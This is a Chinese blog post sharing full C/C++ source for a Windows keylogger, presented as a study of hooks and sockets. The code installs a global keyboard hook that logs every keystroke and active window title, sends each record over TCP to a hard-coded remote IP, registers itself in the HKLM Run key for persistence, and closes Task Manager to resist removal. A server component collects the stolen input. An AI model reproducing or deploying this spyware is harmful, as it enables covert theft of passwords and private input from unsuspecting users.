前两天写了个监听用户键盘消息的程序,研究了下Hooks和Socket。虽然程序功能是简单的,但编写代码的过程中遇到的问题不少,解决的过程中收获也不少。

Hooks监听所有线程的消息需要编写dll,用来注入其他线程。

MyHookDLL.h

#include <windows.h>
#include <stdio.h>
#include <process.h>//线程操作
//#include <Winsock2.h>

#ifdef __cplusplus
#define EXPORT extern "C" __declspec(dllexport)
#else
#define EXPORT __declspec(dllexport)
#endif

EXPORT void SetHook();
EXPORT void ReleaseHook();
LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam);
void TheadProc(PVOID pvoid);

MyHookDLL.cpp

#include "MyHookDLL.h"

static HHOOK MyHook = NULL;
TCHAR szBuf[MAX_PATH+20];

BOOL APIENTRY DllMain( HANDLE hModule,
                       DWORD  ul_reason_for_call,
                       LPVOID lpReserved
      )
{
    return TRUE;
}

EXPORT void SetHook()
{
 if(!MyHook)
  MyHook = SetWindowsHookEx(WH_KEYBOARD, KeyboardProc, GetModuleHandle("MyHookDLL.dll"), 0);
}

EXPORT void ReleaseHook()
{
 if(MyHook)
  UnhookWindowsHookEx(MyHook);
}

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam)
{
    if(nCode < 0)// do not process message
        return CallNextHookEx(MyHook, nCode, wParam, lParam);
 if(lParam & 0x80000000)//lParam第31位为0的时候,表示按键正在被按下,为1的时候,表示按键正在被释放。此处释放的时候记录。
 {
  TCHAR szKeyName[20];
  TCHAR szWindowText[MAX_PATH];
  FILE* fp = NULL;
  SYSTEMTIME systime;
  ZeroMemory(szBuf, sizeof(szBuf));
  ZeroMemory(szKeyName, sizeof(szKeyName));
  ZeroMemory(szWindowText, sizeof(szWindowText));
  ZeroMemory(&systime, sizeof(SYSTEMTIME));
  GetKeyNameText(lParam, szKeyName, sizeof(szKeyName));//取得按键名
  if(!GetKeyState(20) && wParam != 20)//如果大小写锁定键未打开,且按键不是大小写锁定键。
   lstrcat(szKeyName, TEXT(" Caps Unlock"));
  HWND hWnd = GetActiveWindow();//GetFocus();取得活动窗口句柄
  if(!GetWindowText(hWnd, szWindowText, sizeof(szWindowText)))//取得hWnd窗口名
   lstrcpy(szWindowText, "Unkown");
  GetLocalTime(&systime);//取得系统时间
  wsprintf(szBuf, "KEYBOARD - nCode: %d, VK: %d, KEY: %s, Window: %s, Time: %d-%d %d:%d:%d", nCode, wParam, szKeyName, szWindowText, systime.wMonth, systime.wDay, systime.wHour, systime.wMinute, systime.wSecond);
  if((fp = fopen("C:\\Keyboard.txt", "a")) == NULL)
   fp = fopen("C:\\Keyboard.txt", "w");
  if(fp)
  {
   fputs(szBuf, fp);
   fputc('\r', fp);
   fputc('\n', fp);
   fclose(fp);
   _beginthread(TheadProc, 0, NULL);
  }
 }
 //MessageBox(NULL, szBuf, "MyHook", MB_OK);
    return CallNextHookEx(MyHook, nCode, wParam, lParam);
}

由于Socket阻塞运行,所以放到线程去运行比较好。

void TheadProc(PVOID pvoid)
{
 WSADATA wsaData;
 WSAStartup(MAKEWORD(2, 0), &wsaData);//初始化dll中Scoket版本为2.0的例程
 int sockfd;
 /*
 if(-1 == (sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP)))//创建Socket
  //MessageBox(NULL, TEXT("Function: socket error!"), TEXT("Error"), MB_OK | MB_ICONERROR);
 {
  WSACleanup();
  return FALSE;
 }
 */
 sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
 //配置对方地址信息
 sockaddr_in their_addr;
 ZeroMemory(&their_addr, sizeof(sockaddr_in));
 their_addr.sin_family =  AF_INET;//IP地址家族
 their_addr.sin_addr.S_un.S_addr = inet_addr("193.168.1.103");//IP地址
 their_addr.sin_port = htons(3000);//端口
 /*
 if(-1 == connect(sockfd, (sockaddr *)&their_addr, sizeof(sockaddr_in)))
  //MessageBox(NULL, TEXT("Function: connect error!"), TEXT("Error"), MB_OK | MB_ICONERROR);
 {
  closesocket(sockfd);
  WSACleanup();
  return FALSE;
 }
 */
 connect(sockfd, (sockaddr *)&their_addr, sizeof(sockaddr_in));
 send(sockfd, szBuf, sizeof(szBuf), 0);
 closesocket(sockfd);
 WSACleanup();
 _endthread();
}

MyHook.cpp中的主要函数

BOOL SetAutoRun(HWND hwnd) //开机自动运行
{
 //得到程序本身路径
 TCHAR sthPath[MAX_PATH];
 GetModuleFileName(NULL, sthPath, MAX_PATH);
 //MessageBox(NULL, sthPath, "path", MB_OK); 
 TCHAR str[MAX_PATH];
 HKEY hRegKey;
 DWORD dwValue = 1;
 BOOL bResult;
 lstrcpy(str, "Software\\Microsoft\\Windows\\CurrentVersion\\Run");
 if(RegOpenKeyEx(HKEY_LOCAL_MACHINE, str, 0, KEY_ALL_ACCESS, &hRegKey) != ERROR_SUCCESS)
  bResult = FALSE;
 else
 {
  if(RegSetValueEx(hRegKey, str, 0, REG_SZ, (BYTE*)sthPath, strlen(sthPath) + 1) != ERROR_SUCCESS)
   bResult = FALSE;
  else
  {
   //MessageBox(NULL, "OK", "", MB_OK);
   bResult = TRUE;
   RegCloseKey(hRegKey);
  }
 } 
 return bResult;
}

void CALLBACK Killtaskmgr(HWND hwnd, UINT message, UINT iTimerID, DWORD dwTime)
{
 HWND hwndTasken,hwndTaskcn;
 hwndTasken=FindWindow(NULL, "Windows Task Manager");
 hwndTaskcn=FindWindow(NULL, "Windows 任务管理器");
 if(hwndTasken)
 {
  PostMessage(hwndTasken, WM_CLOSE, 0, 0);
  Sleep(200);
 }
 if(hwndTaskcn)
 {
  PostMessage(hwndTaskcn, WM_CLOSE, 0, 0);
  Sleep(200);
 }

以上是客户端,下面贴下服务端主要代码。

//
//   函数: Listen(PVOID)
//
//   目的: 创建监听实体
//
//   注释:
//
//        在此函数中,我们通过Socket创建监听实体,
//        并将监听到的消息显示出来。
//
void Listen(PVOID pvoid)
{
 fd_set fds;               //需要监视改变的Socket集合
 timeval timeout = {3, 0};           //异步处理延时3.0秒
 int sockOld, sockNew, iSize = sizeof(sockaddr_in);
 char szReport[512];             //接到的消息
 int y = 0;               //消息显示的初始Y值
 FILE* fp = NULL;
 WSADATA wsaData; 
 WSAStartup(MAKEWORD(2, 0), &wsaData);        //初始化dll中版本为2.0的Socket例程
 char hostname[255];             //主机名
 if(-1 == gethostname(hostname, sizeof(hostname)))
 {
  MessageBox(NULL, TEXT("Fuction: gethostname() error!"), TEXT("Error"), MB_OK | MB_ICONERROR);
  return;
 }
 hostent* host = gethostbyname(hostname);       //获取主机IP
 TCHAR hostaddr[255]; 
 MultiByteToWideChar(CP_ACP, 0, inet_ntoa(*((in_addr*)host->h_addr_list[1])), -1, hostaddr, 255); //字符集转换
 //显示消息
 static int cyChar;
 TEXTMETRIC tm;
 HDC hDC = GetDC((HWND)pvoid);
 GetTextMetrics(hDC, &tm);
 cyChar = tm.tmHeight + tm.tmExternalLeading;      //字符高度
 TextOut(hDC, 1, y++ * cyChar, hostaddr, lstrlen(hostaddr));
 ReleaseDC((HWND)pvoid, hDC);
 if(-1  == (sockOld = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))) //创建监听Socket
 {
  MessageBox(NULL, TEXT("Fuction: socket() error!"), TEXT("Error"), MB_OK | MB_ICONERROR);
  WSACleanup();
  return;
 }
 sockaddr_in my_addr, their_addr;         //监听的本机地址信息和发送请求的对方地址信息
 my_addr.sin_family = AF_INET;
 my_addr.sin_addr.S_un = (*((in_addr*)host->h_addr_list[1])).S_un; //INADDR_ANY;时IP为0.0.0.0 .S_addr = inet_addr("118.249.58.214");
 my_addr.sin_port = htons(3000);
 memset(my_addr.sin_zero, 0, sizeof(my_addr.sin_zero));
 if(-1 == bind(sockOld, (sockaddr*)&my_addr, iSize))     //绑定监听Socket和监听的本机地址信息
 {
  MessageBox(NULL, TEXT("Fuction: bind() error!"), TEXT("Error"), MB_OK | MB_ICONERROR);
  closesocket(sockOld);
  WSACleanup();
  return;
 }
 if(-1 == listen(sockOld, 1))          //监听端口,并阻塞。
 {
  MessageBox(NULL, TEXT("Fuction: listen() error!"), TEXT("Error"), MB_OK | MB_ICONERROR);
  closesocket(sockOld);
  WSACleanup();
  return;
 }
 while(1)               //接受请求循环
 {
  //重置需监听的Socket结合,监听改变。
  FD_ZERO(&fds);
  FD_SET(sockOld, &fds);
  switch(select(0, &fds, &fds, NULL, &timeout))
  {
   case -1:
   case 0: break;
   default:
    if(FD_ISSET(sockOld, &fds))        //sockOld状态改变
    {              //新连接
     if(-1 == (sockNew = accept(sockOld, (sockaddr*)&their_addr, &iSize)))
     {
      MessageBox(NULL, TEXT("Fuction: accept() error!"), TEXT("Error"), MB_OK | MB_ICONERROR);
      closesocket(sockOld);
      WSACleanup();
      return;
     }
     ZeroMemory(szReport, sizeof(szReport));
     recv(sockNew, szReport, sizeof(szReport), 0);
     TCHAR szBuf[512];
     ZeroMemory(szBuf, sizeof(szBuf));
     MultiByteToWideChar(CP_ACP, 0, szReport, -1, szBuf, 512); //字符集转换
     //MessageBox(NULL, szBuf, TEXT("Report"), MB_OK);
     HDC hDC = GetDC((HWND)pvoid);
     if(y > 30)
     {
      InvalidateRect((HWND)pvoid, NULL, TRUE);
      y = 0;
     }
     TextOut(hDC, 1, y++ * cyChar, szBuf, lstrlen(szBuf));
     ReleaseDC((HWND)pvoid, hDC);
     //写文件
     if((fp = fopen("C:\\Listen.txt", "a")) == NULL)
      fp = fopen("C:\\Listen.txt", "w");
     if(fp)
     {
      fputs(szReport, fp);
      fputc('\r', fp);
      fputc('\n', fp);
      fclose(fp);   
     }
     closesocket(sockNew);
    }
  }
 }
 //关闭Socket
 closesocket(sockOld);
 WSACleanup();
}